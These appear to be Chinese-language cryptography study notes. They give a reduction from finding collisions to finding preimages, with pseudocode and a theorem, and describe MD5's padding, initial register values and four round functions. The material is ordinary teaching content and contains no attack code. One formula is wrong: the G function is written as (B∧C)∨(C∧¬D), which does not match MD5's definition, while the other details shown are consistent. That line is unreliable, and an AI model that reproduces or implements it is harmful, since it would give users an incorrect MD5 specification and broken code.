external Oracle - Preimage
均匀随机选择x∈X
y←h(x)
if (Oracle - Preimage(h, y)=x’) and (x≠x’)
then return (x, x’)
else return (failure)

定理4.5 假定h: X→Y是一个Hash函数，其中|X|和|Y|有限且|X|≥2|Y|。假定Oracle - Preimage对固定的hash函数是原像问题中的一个(1, Q)算法，则Collision - To - Preimage对固定的Hash函数时碰撞问题的一个(1/2, Q+1)算法

使用随机预言机模型中理想Hash函数是困难的，可以参考一些分组密码理论构造尽可能接近理想特性的Hash函数。（混乱、扩散、随机）。可以基于数学难题构造方法，但计算速度慢，不实用。因此可以使用对称密码体制来设计Hash函数，或者直接设计。

4.2 常用Hash函数

Hash函数通用结构：迭代结构

MD5

填充

最后一块的最后8个字节（64bits）保存的是输入的长度。如果消息正好是分块的整数倍，仍然需要填充一整块，其中前面为10000…（填充内容），后面为输入长度。如果消息过长（大于2^64 bits），则将消息模2^64（仅取低64位）计算MD5。（消息长度为小端序）

压缩初始化

初始化4个字寄存器，填入CV₀（0x67452301，0xEFCDAB89，0x98BADCFE，0x10325476，固定不变）

压缩

$$F(B,C,D)=(B\land C)\vee(\lnot B\land D)\\ G(B,C,D)=(B\land C)\vee(C\land\lnot D)\\ H(B,C,D)=B\oplus C\oplus D\\ I(B,C,D)=C\oplus(B\vee\lnot D)$$